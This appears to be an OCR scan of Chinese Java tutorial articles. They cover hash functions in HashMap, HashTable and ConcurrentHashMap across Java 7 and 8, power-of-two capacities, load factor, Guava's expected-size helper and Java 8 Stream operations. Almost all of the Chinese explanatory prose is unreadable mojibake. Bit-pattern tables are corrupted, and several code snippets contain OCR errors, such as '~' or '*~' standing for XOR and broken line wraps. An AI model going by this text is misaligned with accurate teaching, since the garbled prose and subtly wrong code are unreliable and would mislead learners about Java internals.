#, ¥ialE79 16, BRAIERSTRKENE#(ERY hashcode, ARTER hashcode 1SZIRY
int EXHEREHTEIR . ATERMERE, Java SRARMSEIFCIEUREERIF.

ETREN=AI, T 2RRIEEERIzEE T EEZBR PRBARIER . b
gn: CAT1 0000 %1 0001 0000 F£F 0000 1111 #HTIR(U EIZEEERBEN.

CA111000 00011000
& &
00001111 00001111

00001000 00001000

i L

AN AERRE, EXNHERKEHTIRUSZEEERIRERER, XAMALET IHR
5, BRAMMIRRRIXFRHSRNE, KET Java BUNTHIAT,

HeppyE2(CIED T

h ~= k.hashCode () ;
h = (h >>> 20) ~ (h >>> 12);
return h *~ (h >>> 7) ~ (h >>> 4);
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XERALEBEN T key B hashCode #7HahitE, BALEARRE hashCode BISZA
BERAIERISEAY hash i3 . ERE R, i T IS AYHER RS EAEREK,
BEMSF PERAOER , Ut 2%, REMENE O — AT ERRE T R ERINER =400 .

HEAMGIFN, BAIBFERBE— HashMap & put —4 K-V 3¢, Key K& “hol
lischuang” , £i3/&EAIKEL hashcode /5, SEIROEY “10110001101011100111110
100110117, #0580 HashTable AIA/NA 16, BIEREITMENITEIBR T, th&l
183189 index ZSRMEN 1. BT 15 THEHITRE 32 8 0000000000000000000
000000000111” , FLA, — NIRRT SIRIFROBHE, Bl 28 (IFRRHA,
IHEERE— (B 0TS, ER#A0) . WTFEFR.

Kay HashCoda HashCode & 0000 1171
"hollischuang" TOTTO0O0TTOTOTTOOTTITITOTOOTTONT 11
01000000000000400TTTTTOT00TTOTT 11
0000000000000000TTT1T0T001T0TT 11

JLAER, BEEHE hashcode Ki3MizE 2 FEFIHNEDLE 11 , RAFNIARE
B key BY hashcode 2 EEAIFFIBERA, EREEFEXFEN key, XFET

5

A, FTR, BEE - TERIMMIEEZRLNTREERSWT.



Oparata

b
h s> 20

hsss 12

h=h*(hs> 20)" (h>»> 12)
hsss 3

h>s» &

ho(hsss 3~ (hsr @)

W™ (hsss 3)° (hsss ¢) & 15

"holltsehuang"

o1o1100011071011100711111070011011
00000000000000000000T0TTOTTTTT00

000000000000707T107711110007107170

T0TTOTTTITT00TTOTTOO0TTOTTOOTO00TT
0000000707T0TTTTT00TTOTTOOTTOTTO
0000701707T111100771077007T7T07T70070
101111071101117107101100110700111

00000000000000000000000000000711

i
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"hollischuamng"

000000000000000000171110100717071
00000000000000000000000000000000

00000000000000000000000000000011
000000000000000000TTTTTOTOOTTOO0
00000000000000000000000007711701
00000000000000000000001171707001
00000000000000000011110100007100

00000000000000000000000000007100

N EEESELUEER, ZRISFERRM™ hashcode, ZiTMITEZE, &E&
S2IRY index RYER—HT , XFRIFAIEIR TR,

HsL, FRZERBEUREE, RTMHREZI, BE— MNP ER LIRIFAIRR
HAER ., FE9EAIFE, hashcode NEERE int 228, M int NEVESEER-2"31 ~ 2
31 - 1, B[ —2147483648, 2147483647]; XEEEEELHHM, HIxNE, WF—
MAHBUEE 2B LMIRAY . NRER BRI ERNEMR T ARF IR RIXNE— . 5
%, & hashcode BERIEHIL R, length—1 XME—ERMNEH . BBA, BT
HENE——ER 0 (BFSHARSMEARTSH, “07 K% “+7, “17 K%
“=7), XEERNMRSEEZE, F—U—E:R1T 0, BHME, SENER—TE
BNMNEH

HashTable In Java 7

L+FER Java 7 & HashMap B9 hash BiEK indexOf J5iERISEEL, BRARE PR
MNEET, &EZ2h) HashTable 2a0M@sLELAY, 1 HashMap BfaARE, FidEDH
TARENER ., LATRE Java 7 & HashTable B9 hash F53EHISCI,

private int hash (Object k) {
// hashSeed will be zero if alternative hashing is disabled.
return hashSeed ”~ k.hashCode () ;
}
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BMTRI, REE, HIFTREX K#T7EEM hash, BUY—TFH hashCode.
m HashTable ;85 7%, B ZRRIXERAE:
. HEtR1, HashMap #1 HashTable 33 FitEEHT
XS, KRBT RMEIE. HashMap RBRISLZEE, M HashTable RARIZERE
&

NIEEIE hash BF OX7TFFFFFFF — X258 ER, EER2 R THRIESEIA
index RY5—{9 0, RN TEEI—1IES. FAERHSHE— 0 URER, 1%

HFARIEYE, HashMap ZFRAARBERRERE A TIREMER. BAINA, EX
HashTable @12 £RIZE, AKHIE, Fill Java FHigBERMERM, ERMEAN
BREEZTIR? BEREIHAANRER, Java XFRITARBE—ERIZEERY, BAXIFERE
HfsLR <tk HashMap 18—4%2,

H3, HashTable RAAERMNEUREE —EMNEEEMN . XHE S KE HashTable
AOMIEREFYT BRE T . HTFRIEER, XEMAWMKLR T, BEEHES:

HashTable BRARIRIIAKR/NA 11, ZEEXRT FTARER 2n+1,

RS, HashTable FISEREERZEAKRNE—NRE. FH. ZBEHNEXY 7E
REZ S

T HashTable RREFERZRI. FEEAFTENA/N . AEHRIIX/NDREET,
BRABRIEFRAIEREENMTS . (XNEJLUEBEHRA, BT ARANER, EFF
M|MNE, ASE: )

ZiIth, FIEFR T Java 7 & HashMap #1 HashTable 533F hash A9sEIR, FKAiJ
KM BRI

e HashMap ERARIFIALR/NA 16, ZEEIRYT FARER 2 (5,

eHashTable BRARI¥IIA RN 11, ZEEXT AR 2n+1,

o SIRFRFRAR/NAZHES, BRABRISFENEREEIMNYS, FABNX—
=&, HashTable BIEHRANERE, IMFESPL. EJH hash SRS HE
RERMLT o


http://zhaox.github.io/algorithm/2015/06/29/hash

g5k < 152

o EEURITERY, WREHZE 2 19T, BARITLIERERMIZERERE
R, WREBERASTHERZE . FTLUA hash HHERIER L, X2 HashMap BEif—
o

«{B2, HashMap AT RSIXERUIEERERT, XNSINTIEFSM
AEFRIBR, PrLA HashMap AfRRIXER, M3J hash Sk T —2uit, ¥
TTHEIT R,

ConcurrentHashMap In Java 7

private int hash (Object k) {
int h = hashSeed;

if ((0 !'= h) && (k instanceof String)) {

return sun.misc.Hashing.stringHash32 ((String) k);

h 7= k.hashCode () ;

// Spread bits to regularize both segment and index locations,
// using variant of single-word Wang/Jenkins hash.

h += (h << 15) » O0xffffcd7d;

h "= (h >>> 10);

h += (h << 3);

h = (h >>> 6);

h += (h << 2) + (h << 14);

return h ©~ (h >>> 16);

}
int j = (hash >>> segmentShift) & segmentMask;

FEXEEXTF ConcurrentHashMap B9 hash SEBRELSEFN HashMap N —&#. #B
EETNUNEERENE, XEB hashcode #HiTHmh. XBET,
ConcurrentHashMap fER T —fZFR Wang/Jenkins IBEEX, HEERNERN
TESMVAEMAESE—E, BRRkEPR, 2T AR HashMap RERFNEEH
Tish, HBEXAREFREHESN®ERE., 2OKENRBNEIEBBANEML.

HashMap In Java 8
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£ Java 8 ZHi, HashMap FIEMETF map HIZEER2BmI skt xRz, B
FRPOERREFEERRS ENTER. ERFNERT, XMAREE HashMap B9
get IiEAIMEREMN BEARRE o AT BRERTESAZIMZEAT hashmap MEEERERYEIRR,
Java 8 R{ERFERRBNHERFMEDPRTE . XEWERI T SRS R FRIMRE
M 252 O(logn). *F HashMap £ Java 8 Fifiiit, BEEEE XEHELRN
=i

MREERFEHNANRE Hash 8%, NEAERIBERT, BeEBREASIEK
SHIAFIE, AEAMEHEIXLE key SF HashMap [T FHITE SR, REMBAREE,
BIRZRE 7 1E4ARSS BE (DoS )

*xF Java 8 #fY hash &%, [RIBF] Java 7 FEARZEN, Java 8 FiX—EM T
i, Rf—X16 UGuBRES, MA=X, BREEARTH,

static final int hash (Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ~ (h >>> 16);
}

£ JDK1.8 B9t it TBNsERIEE, #d hashCode()RIS 16 =8k 1
6 fZSCHIRY: (h = k.hashCode()) A (h >>> 16), EERNRE . I1R. REFREEHN.
LAEEBEIRY int B9 hash (8, REBEY FISENZIRIEEIE
PREFHINE .

HashTable In Java 8

£ Java 8 B9 HashTable &1, E&ATES hash 57 . BRIGHFHIRELZ2ERN,
EbAnTE put xRt Bl LI

int hash = key.hashCode() ;
int index = (hash & Ox7FFFFFFF) % tab.length;

XESLH Java 7 PRISEILFEER], SHAIZSHINGET .

ConcurrentHashMap In Java 8
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Java 8 Bk hash B975EM hash 887 spread. SCHARINTR:

static final int spread(int h) {
return (h ~ (h >>> 16)) & HASH BITS;

}

Java 8 f9 ConcurrentHashMap Bt 281D Key BlawESHBKEEEFREIZ
Key EEHEFRIZRS |, EHEN T BERAKXIFA Key B9 hashCode %11, B@IdulFGEiE
HEBE Key IRAREE. FENE, Java 8 AY ConcurrentHashMap fE&IA S|
NIEWE, BMERDPRILE™E, SUEDERS, LMEEFRERFENTE L
g zigit, R2¥K Key B9 hashCode ES5HS 16 f{ERsSFHFRIERSMA 0 ( ATl
IEREBERNIEEY ) .

&4 4t

n$o=f

Zilt, BINBES 5T HashMap. HashTable LK ConcurrentHashMap 433!
£ Jdk 1.7 #0 Jdk 1.8 AL, FATATLIARL, ATRIEEHFNERIUSE. AT
SEREREE, JDK E—MIVIE hash BiE ERMBRZEE, MTRSHE. 374, &
FEHNIMALIRAN T BEENERE, FEZSXMNBBREKREINESE.

Jdk i9IERES, B—1THREER, EMESEIEELA. K.

F @ZKE 1 @Anra B9EE

E42 Java FAHEFATZRESFEREIRI, MIEA—FEER K-V EHErIEIRS
¥, HashMap 33F Java FRE—TEARREE.

EHEFES, BIZE2GUOTHRLUTEIE— HashMap:

Map<String, String> map = new HashMap<String, String>();


https://www.jianshu.com/p/7e7f52a49ffc
http://blog.csdn.net/justloveyou_/article/details/62893086
http://zhaox.github.io/2016/07/05/hashmap-vs-hashtable
https://www.zhihu.com/question/51784530
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BR, KFXE&EEE, tEIREH, BI1FHRE% HashMap I5ERE, B4,
XEHE— N FEIEERY HashMap FIERABE 22 /DIB? FIAR?

R KD HT XN

HeiD

frugs

£ Java /1, RIFEIEEMMLLREBEAVEIRSN: HEMMER. FESRE: Sk
B5, BATIMRE,; mitxRiEae: SR, BATRMRES . HashMap 72
BEEEMERASE—R, &KFITRENMNE, FNTLUSHIERI9HERIEE.

£ HashMap #, BRMNCREZRBENXEFEL: size fll capacity , XEAF
capacity #2 Map A=, 1 size BEAIFRZH Map FRITTE N

BEREINMNEAIRRERSZERT . HashMap #2— ‘48”7 , IBAZEE ( capacity )
MRIXMELFIRZSTIUES DR, MR (size) FRXMEEEETEDTE,

HashMap

copacity & T ¥ 4B F, % &, capacity #1 16

( ] sizeER T READK-ViaT ¥, @, size B1 8
14
E l
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NLA TS

Map<String, String> map = new HashMap<String, String>();
map.put ("hollis", "hollischuang");

Class<?> mapType = map.getClass();

Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;
Field size = mapType.getDeclaredField("size");

size.setAccessible (true);
System.out.println("size : " + size.get (map));

AR
capacity : 16, size : 1

FEERMNEX T —1#BY HashMap, FEEAH put T—1Jtx, REBIEZRENS
U¥TED capacity #0 size, HASR 16, ELEFMAITENEHZE 1.

BISRIEARIGF, FMI&I T, SF;NeIE— Hashl\/lap RIRTR, aIRIRBIEER

BE, BAZRBE—TRATERN 16 8 Map, A, XNEEREAKAE? XA
XN Fe?
SRS

ZIOHBREXIMEANBENSH, HMNEEXENEXTETEEHAA?

HMxE, 22— HashMap #"#"8N 8, B4, HHMNEBEF—
HashMap & put — TR, SE2EE—ENEATE B ROZBmREIE-MET,
MIREFAUMIES (hash) , XXRAYFERE HashMap #89 hash 75i%.
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- e—e—0

O& hash k -~

HAIANE, hash IERITIRERIRIE Key SREMIX K-V fERHATRINVER . 1B
HZ hash IERIBEIAMNIZZT Object 2889 Key, BIHMIZED int ZEERVEEAE Tiw.
MRILRITXN TG, (REEAM?

=

===

SCfEE, FHAIRERAA Object WERAY hashCode() 3%, ZHESIRE—NEEE,
SRIEFIX NS HashMap B SR TEEHIT T «

MREMERXABENE, B HashMap NBESIREMSBRREES T, EEREEFN
REQM, HashMap 89 hash HiESLEEE—ENE .

hash BISCIR
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ETRMNA T HashMap Fhash 5ERISIIRE . (THSSHNESEBHNINE:
. PS: R_ERYIXKTF HashMap
B9 hash BEMPITININE, REMBEEHXBXEIEM " HTE" SR, )

BRI E, AN AE int hash(Object k)#0int indexFor(int h, int length)3&
SEUIN

hash : ZBEAEZ&E Object #ip— 1A,
indexFor : 1ZFAAEERIE hash ERLHIEEBLIEIG A EREA PRI TR

RNTBEANNES, BRIMNEARXKE—T indexFor Fi%x. Bli1ERKET Java 7 (
Java8 FRAKRBEIXH— 1 EMNSE, BT TMIEREEMN Java 7 —HH) ) &
ZSLHARTS

static int indexFor (int h, int length) {
return h & (length-1);
}

indexFor J5i2ESLFERY hashcode R HERSEFHI iR, EFIFHENSE N
FR7tER hashcode {8, length %= HashMap BB E . 8B4 return h & (length—1)

=TAERR?

HIL, iR . Java ZPiBERMIEE(&)RABEIREE (%), REZRIZEH
B,

VIz8 (8)MERBLRBNIEEZER(%)SRE, FTERERVIZEEENAFRIEHTT
BF, THEEETHS], FLHIEREIFER,

A, AATLMERMIZE (&) FLMEURIZE (%)Ve? XSLIAYRIEINT

X% 2"n=X& (2"n - 1)

g nA3, W23 = 8, Fmpk 2 #HEE 1000, 2°3 -1 =7 , B O,

LERF X & (273 - 1) BB TE X 89 2 HHRIRE =15
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N2 HFIBESRE, X / 81T X >> 3, BB X A#¥ 34z, LAEEIT X / 88
i, MWRiENERD(E=W), WE X % 8, HMEFRE.

FEMNEETEREREERE, REEEHIHRXER, (RRFBRICEXMIIH
ALY o SREIRAT LA LM — T

G&? b

10 & F = 2

000110 | 001010 |
& &
000111 000111
000110 000010
e N

FRLA, return h & (length—1); RERIE length FHKE R 2°n 89iE, FBJLASCINEY
BEET .

FrlA, AAEEEENNEFEIEHTIRE, FEERETHS, FizEZ AR
EERYEES, Tl HashMap EitETEEFMEEEFRY index BIRHE, (FR{NE
BRETEURIZE . ZFTUATLUMENE, BHEREK HashMap IFE—EER 2'n »

A, BEAZ 2N , AIE—EER 16 e? ATATEER 4. 8T,&E 32 8?

KTFRXPMEABERERE, IDKFARBEHEL#ER, EEMRBENLHEXTX
MEIEMERRR . (WNRBUEBXAIMNEIHNEREL, JLEBESM)

RIBVEERIHENT, XNIZFENRI(E ( Experience Value ) , BEA—EEZLZE—
AR 27 ERVIMAME, BBANBEEEIEANEFERE LM — M . XMEREAREER/N,
BABERK,
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KNTHERRSNERET T, MR, KKXTXRETE, FHIE&E.

FRLA, 16 BFA—PEERRAT -

£ JDK 8/, XFEIABEMEN A static final int DEFAULT_INITIAL _
CAPACITY =1 << 4; /[ aka 16 , HHEIE 16 Bt 1<<4, MEREFRE, X it
HER 2%, BSNKRE: EEPH aka 16 2 1.8 FEERY.

BPA, FETERFNBREK, HashMap SUIRIEESE—ERILAZ 2°n AIR? U0
RAFECKRETHIEXNSEARFR?

XFXE5, HashMap R AN EEB SRS EM T RELME, D2 iEE
BENRUILIRT S

IBERERN

LA @IT HashMap(int initialCapacity )iIRBHE B ERIRTE, HashMap HF+—
ESEERBRIEANNHE, MELTIHE, BE— 1 #E, BrIRIES hash BIZE.,
(1->1. 3—>4. 7->8. 9->16),

£ JDK 1.7 #1 JDK 1.8 &, HashMap #JiatiXMESE/BHAR . JDK 1.8 4,
AR HashMap RIREIEREE X HashMap BRIt R, MiSHITEERNRE. ME JDK

1.7 %, BFREIX put BIERT A HITIX—IRIE.

E— T JOK ZRUIHEILLENRIIEEERIIFE— 2 BIRAY:

int n = cap - 1;

n|=n>>1;
n |=n>>>2;
n |=n >>> 4;
n |=n >>> 8;
n |=n>>> 16;
return (n < 0) 2 1 : (n >= MAXIMUM CAPACITY) ? MAXIMUM CAPACITY : n + 1;

FEMNEXENERS, B2 RERAFEANNEEE (XB+FrYcap) , BIITE,
SEIE— e ARy 2 BIRFRE .
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5 0000 0000 0000 0101 19
F 0000 0000 0000 OTT1 31
g 0000 0000 0000 1000 32

HollisChuang

9 0000 0000 0000 1001 33
15 0000 0000 0000 1111 63
16 0000 0000 0001 0000 6%

0000 0000 000T 0011

0000 0000 000T 1111

0000 0000 0070 0000

0000 0000 0070 0101

0000 0000 00TT 1111

0000 0000 0700 0000

IBXE EERILMIFS, BEFEREDIRMER, SHREAIENE. 5->8.

9->16. 19->32, 37—>64 2EELZIT T IHER.

Step 1, 5->7
Step 2, 7->8
Step 1, 9->15
Step 2, 15->16
Step 1, 19->31
Step 2, 31->32

SN EILL EACRSH, Stepl:

XN EILAECREH, Step?2:

return (n < 0) 2 1 : (n >= MAXIMUM CAPACITY) ? MAXIMUM CAPACITY : n + 1;

Step 2 tLRER, MEM—TRIRMENFIET, ASE Step 1152IRVEUEH.



g5k < 162

Step 1 BAEMENE? HLRXY— " #HEEOR @A, ARSRER. HERY
NF—PEFH RS, NB—1F09 0 RuFHE, ERERIFRBENRER 1.

fEEE—TTHEH, BB LENATNMAINERRT:

1100 1100 1100 >>>1 = 0110 0110 0110
1100 1100 1100 | 0110 0110 0110 = 1110 1110 1110
1110 1110 1110 >>>2 = 0011 1011 1011
1110 1110 1110 | 0011 1011 1011 = 1111 1111 1111
1111 1111 1111 >>>4 = 1111 1111 1111
1111 1111 1111 | 1111 1111 1111 = 1111 1111 1111

BEJURTASARIHMUIIEE, FAHE 1100 1100 1100 ek 7 1111 1111 11
11, BN 1111 11101, HSEIT 1 0000 0000 0000, XA TF 1100 1100
1100 A9%E—1 2 BT

477, BAJMERRREBE T Step 170 Step 2 BHE . MR LUE— M EUGELRE—
TEBES AR 2 BIR

BREE—MMFHRBERERU LAAT, XEHFIHE 2HIREE. IRYFIE
RARIAE. BRNSRE 8, MIHEHSLX MNIRBHRERRT , BARIENER JDK AIRR
BE , XEHABRERT

=)

22, HashMap RIERFPENIIIBHEE, FRALTHSARIIRNIIEESFL
ITEHE—PIRTIZHH 2 R

IS

bR T #1eaCRIRHREIISE HashMap IEE, T Bl R, HEEHESK

HashMap B &tl#l, MEIRIT BRUHNSHITT S . HashMap 897 B854
HEE HashMap FRITTENH (size ) BIIGFE (threshold ) =Bz &

£ HashMap =&, threshold = loadFactor * capacity.
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loadFactor %K F, F = HashMap i#a9EE, EAMER 0.75f, &K 0.75
B—NF4RL, BRsE= 0.75 IEIFE 3/4, M capacity X2 2 I8, Frll, A MERITRINAR

EEH.

SFF—PEIARY HashMap ki, BIABR T, HHE size KF 12(16*0.75)89 7=
BRI B

THER HashMap #9354 (resize) PAI—ER :

if ((newCap = oldCap << 1) < MAXIMUM CAPACITY &&
oldCap >= DEFAULTilNITIAL7CAPACITY)
newThr = 0ldThr << 1; // double threshold

N EECRBRILIEL, ¥EE) table KNZAERIME, X—FSHTZE, el
179 &5 table FOAZ, XEOIFEFINER, Gl

A0, 2 HashMap FRI7TTEN ( size ) BT IGF/E ( threshold ) IR BaI &,
TEaREEEM 2 &, BN 167 BE 32, 64, 128 ..

FLA, BEFRIERCEESNR 2 8, HET SNt SEZEISEN 2, T
LA, fRIET HashMap BB EXizHE 2 %

ISES

HashMap fEA—FEIELEM, JTHAE put FIIZREHEEHT hash iz&, BRIZLT
BEHIZITEFRIE hashMap FRIERIE

hash IzERNIIEE L EXT Birt=aI Key 1T hashcode, B33 Map BB ST
BUE, m JDK MIRRMATIRABENNE, FRUESERBETIREE, XHMEXK
Map BB E—ES=E 2 %,

MIEARARE, KAFKNEBAEIE, Frd 16 BEA— P HREENSIGERFRE
70

ATRIERIERT Map B EERE 2 89%, HashMap R 75 &R 7 BRE
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BER, NRAFFIETREE, A HashMap SIt&EHEGZEANE— 2 7Y
BENIREE.

=, BV BR, BRFTHRERIT S, B4 %68, 838AK 16,

RN, BIEIDFAMT4A HashMap FIBRMABER 16, HTRN HashMap BIRIE, &
T TEENRE, MCEEHENETIUAI, JDK BIEIMESMnzEizAE TIRE,
EREZHMNERMIER . BEENIFS!

E£52 Java FRHEFATEESEREIRY, MIEA—FEER K-V SRS
¥, HashMap 33F Java FAE—EAREE.

*F HashMap, RZAEIMBE—LEARN T, tLaltbF0 hashtable Z[BHIXE! .
%0 concurrentHashMap Z[ERIXBIS . IXLEERZELIRERR], *F HashMap R9—LE
R EFIESER, BRAR—ETAT LT, HEEFAFHEERIMA L.

BE, {FEERZX CodeReview LAKREINFAIN, B—MLERKBEI/NATEE
w4, BBxiE HashMap BIZRIATIR, BERBRIEERE? WRBREEE, 2=
A9? J9ftA?

EgE HashMap ¥Rk E =

= hHEAIBEEELITEEE:

HashMap &% &4, MERIXET sREHIa#TT S . HashMap B9 554
#MEZH HashMap FRITTENH (size ) BEIGFRE (threshold ) BRI BHT &, &
HashMap &, threshold = loadFactor * capacity.

FRLL, WIRFANKBREVIRETEX/), BETEAIATMIENM, HashMap £x%%
XIE, M HashMap R SIEIRE T 8RYT S4HEEER hash &, RIFERIHE

BERY
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FRLA, B&5ERILABRMAIRE, BfIBINFTAZEERE HashMap RIIHRISEYIIAHEE
FH (Java FFEFAM ) FHEXARYAT:

9. [#¥]) HESWIIEIRT, FBERSVIRE LR/
Ui . Hashmap {# ] HashMap(int initialCapacity) #]%f4L.,

HashMap {IiaH BERES/VEE

BA, BAZBNRMNESNBRUEN R, BEREEMNREKR/)N, BARKIEE
HashMap RIRHE, FIEEEZDGENE?

BLEASBREE, WESES DN TERMERERZ DM, tHIIRESE 7 Mk,
B85t new HashMap(7).

BR, XAMAARY, mMEUESINEIZLRA Map IBREHAZE 7.

FE, HBFAEA HashMap(int initialCapacity) e S E2/AHE, HashMap
HASERRAWEHER initialCapacity BEIEEAVIREBE

JOK SRUABRMNTE—MENGIERESHYIREE .. FMBGIEE, HLEHEE
— MEERPENRIERRY 2 BI%

iR, HFHM] new HashMap(7)ElE HashMap B9AHE, JDK S@TIHE, #
HMIE—INE=EH 889 Map; HFEA(] new HashMap(9)elE HashMap BIRTE,
JOK SBIIHE, BHEIIIE—BFEH 16 B9 Map.

BR, XMEEUEE, LhrEHARR . EA HashMap FERIERFEAR capac
ity it EBENBAEE, FHi8EEEET loadFactor XMEE, REGEVMAIITELE
—PNRAXNEF 2 9% .

loadFactor faEREF, % HashMap FAI7TENEL ( size ) #81 threshold =

loadFactor * capacity Bf, ZtEHTT B
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R, MRFNNRERIBAMER 7, &3 JDKAEZfF, HashMap NEEEH
IRERL 8, B2, X1 HashMap fETTENHAE 8*0.75 = 6 RUAHMRMSHITIRT &,
AR RHAIFFERNEIRY.

A, BRRERTAEREGER?

XEBEHATILLZSE JDKS A putAll FiEFRISEIIRY, XANSEITE guava (21.0 bRA )
AR .

XMERTTELEHMZ:

return (int) ((float) expectedSize / 0.75F + 1.0F);

EeanF(iJitkim HashMap FN 7 S 7o=BIR0H R, FfiliBid expectedSize / 0.75
F +1.0Fit&, 7/0.75 + 1 = 10 10 &3 IDK B2 fE, SHIRER 16, XFAKAY
BT BRILE,

3 HashMap EBRHEIPRIIE R RINBEIRE] 75%0T (BOABRT ) , Stk rehash,
i rehash B ERICBRAEERIERY . FTLAVIIR L B EZEIRER expectedSize/0.75 + 1
B9IE, FLBRREMN RSB LURNRE . ( KREEXMA, FFERE XOIE )

FFLA, FRATATLUAA, HFAIBBHE0E HashMap RN EHIRHR, IEZARE
RER expectedSize / 0.75F + 1.0F 22— MEitEe LBXIFRNERE, (B2, BittES
AL NTE

XANEEE guava BB, AANE, JULEEEY Maps Eelg—1
HashMap:

Map<String, String> map = Maps.newHashMapWithExpectedSize (7);

HALI T

public static <K, V> HashMap<K, V> newHashMapWithExpectedSize (int expectedS
ize) {
return new HashMap (capacity (expectedSize));

}

static int capacity(int expectedSize) {
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if (expectedSize < 3) {
CollectPreconditions.checkNonnegative (expectedSize, "expectedSize

return expectedSize + 1;
} else {
return expectedSize < 1073741824 ? (int) ((float)expectedSize / 0.75F
+ 1.0F) : 2147483647;
}
}

B2, UL ERSRMER—MBAFRMERERIINE, BIEERRIME, EZEEIRFRISIN
BR, RZHERT, BIITRINIREFR2—MLREHBAVEIR .

BRIEXIRERT, LR, BIZIRERERE HashMap RIFHRE, XMEX
REMZD, BRVEIMAARING? HSLtBARIIS!

A2, KRR, T2 — 1 — DRI T S HRAIE?

BARR, LURRERBIEHE, #HB Maps.newHashMapWithExpectedSize(7);
MEi%, BELULRIEMNERIEEI—=.

s & P —KFRE —NEL B R AT R, (BRI IR, SiEE—XIR
ALEXNHEEXIEMA~! WISEIE.

£ Java i, EEGMHERHNLESRRIREUIREN , FELEIMBIEE . M. 2.
B. BE. @it QIEFERE. 8Lz, XRZXBHEETHEFEXEIRE, BE27R
Java 8 Zgi, EGMHENVIEHREREE,

RN, X—@RE Java 8 hi5FITKE, Java 8 APIHRINT — NrRMSRIR AR
Stream, ATLAHRIA—FERAOA CABENE . AN B T anaEA Stream . 4551
WBE—T, %F Stream BOMEERRIEARANME S, NRAKRBMBEEEHNESR

JRITER
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Stream 43

Stream {£R—MEMA SOL EINEEEFEEOHIENEN T VR EH T
Java EGIEEMFEXRISHMR

Stream API HLUKAIRS Java BFRIVEFT], IIEFREESHR. T&. Bi5
AR

J‘Z%EFJYLWVE%IEE’\JT_Gﬁ BEF—MR, MEEEDER, AEJLUASENTRE
TTRCIE, ELUNTEiE, HEF, REF.

Stream BLA RS

. TfFfi# . Stream A2—FEURESN, ER%EW%I%@E’\J—ﬁ\?‘E, HiRRI AR —
1 #EH, Java &=k /O channel &

 NRYAHWIEME . X Stream WAL ASENETBENEEERE, g
Stream TR IBIRIEF A SMIBRBITIRNITE, MESKFE— I AEaBTIETE

#9#h Stream.,
« BT, Stream ERURIEHASIMEINT, RESIBERPEEEELERMES S
AT,

. AIiEERM, Stream REgl “IHZE” —IX, —BRHEIMERY, HEERANEAIIB
#, BEBIREDVIRENER

HMZE—10F, kEF—TEE Stream AL AES:

You Inl\ \tU} pmu "-IHL‘ in 1I‘l\

Stream maker of these steps

!
‘\. r 1+ 4

1 ) e 1

[
] ‘ |
00 ©Ge Al A |?

] |

S N J

Filter Make them hlt_m small Sum up
reds triangle riangles circumferences
with same
area

www .javathlon.com TALHA OCAKCI
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FERIGIF, SREN—LHERE BRI EIEER, BXBELer. EeiIRUR
FERI=Fm . BIEESHMRNN=AF . &EIHEERREAEK.

MEE, IFRAOKIE, FEE=FXEHERE: D2RACIE. FEIRE (
intermediate operation ) LK &#Z4E/E(terminal operation).

Stream RIBIE

£ Java 8 1, AILIBZMITIEREIER.

1. BYEBRIESREER

£ Java 8 5, RTIEINTRZE Stream H8XAIZELIIN, BHESEEEM T ISR,
FEEHEINT stream F5i%, AILUE—PNES SRR

(= Sye)

List<String> strings = Arrays.asList ("Hollis", "HollisChuang", "hollis", "H
ello", "HelloWorld", "Hollis");

Stream<String> stream = strings.stream();

LIE, BIE—1PEBM List BI#— 1Mo BRILLAN, 1B— parallelStream 753%,
ALARESEIE— N FFITR.

XFPEIdES R E— Stream FIS X BRILREBI—MEI.

2. 183 Stream BT

AJLAER Stream SEBMHAYT5E, BIFRE—HEETEEAMRAIR .

Stream<String> stream = Stream.of ("Hollis", "HollisChuang", "hollis", "Hell
o", "HelloWorld", "Hollis");

LA RS, BEiEE of /5i%, eIEFREI— Stream,

Stream H|EHE{E

Stream BRZFIERIE, SNHERIFAILUEERERIZA— RS, 88—l
EREIRKE LRI — DT BA T AR LS RETINL, I TEEIINERER— .
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Stream may be created with stream()
method of Collection.

[ o ™ N 7%

00 0o A- A 20
N i’ O N N/
Each of these boxes is an functional interface:
Function, Mapper, Supplier, Consumer, Predicate

www.javathlon.com TALHA OCAKCI

LIS 2FRRIhEEREIIE:

Stream Operation Goal Input

filter Filter items according to a given predicate Predicate
map Processes items and transforms Function

limit Limit the results int

sorted Sort items inside stream Comparator

Remove duplicate items according to
equals method of the given type

distinct

filter

filter ZZATBITIRENIFMHITIEETTER. UMURBRERER fiter FiRTiRE=F
(G1==F

List<String> strings = Arrays.asList("Hollis", "", "HollisChuang", "H", "ho
11is™);

strings.stream().filter (string -> !string.isEmpty()) .forEach (System.out::p
rintln);

//Hollis, , HollisChuang, H, hollis
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map
map HiERTREE N TRRINNAER, INNIBRERER map Bt T TR

HOF T

List<Integer> numbers = Arrays.asList (3, 2, 2, 3, 7, 3, 5);
numbers.stream() .map( i -> i*i).forEach(System.out::println);
//9,4,4,9,49,9,25

limit/skip

limit iR[E] Stream HIBIE n NrT=x; skip WEP=EET n MroE. UM ERE
A limit 5iEFRE 4 T

List<Integer> numbers = Arrays.asList (3, 2, 2, 3, 7, 3, 5);
numbers.stream() .1limit (4) . forEach (System.out: :println) ;
103,2,2,;3

sorted

sorted FHiZBFXRFITHEF . LUTNMUREHEER(ER sorted i THERE:

List<Integer> numbers = Arrays.asList (3, 2, 2, 3, 7, 3, 5);
numbers.stream() .sorted () . forEach (System.out: :println);
112,2;3;,3;3,;5,7

distinct

distinct FZAREE, LA MCBREER distinct IIcR#ITEE:

List<Integer> numbers = Arrays.asList (3, 2, 2, 3, 7, 3, 5);
numbers.stream() .distinct () .forEach(System.out: :println);
103,2,7;5

ETRBEMNBE—MEIFR—KE, KER T, Z— Stream st/E8iE filter. map.
sort. limit A% distinct &MBEE ALt 4.

RAZA0T:
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List<String> strings = Arrays.asList ("Hollis", "HollisChuang", "hollis", "H
ello", "HelloWorld", "Hollis");
Stream s = strings.stream().filter(string -> string.length ()<= 6) .map(Strin
g::length) .sorted () .1limit (3)
.distinct () ;
=T 1 =
HRE;RE—LSEINERUNTE:
Hallis 3 5
bolls ¢ ¢ i 5
Hells 5 6 i 3
Hollis 3 b
Drew By Hollis
lukermmadia cpcr.hom __ —
- ﬂUﬁ{J l
Hallis Hallis | l
e o KROFT  REEEME  MGHANA  BEERZTRE  XEEPERTE
Hollise bt Hallist b6 —_——— e — — i
Hallo Hello
HelloWorld HalloWarld
Hallis Hollis
Stream REIR(E

Stream RIFEHEFISEINGERIE
MFEZAIREE? LIt EERP TR N BRERRESS.

terminal operation)

RERERIERR,
AR (E R U a)E(F,

java.lang.IllegalStateException:
losed

Bidis,

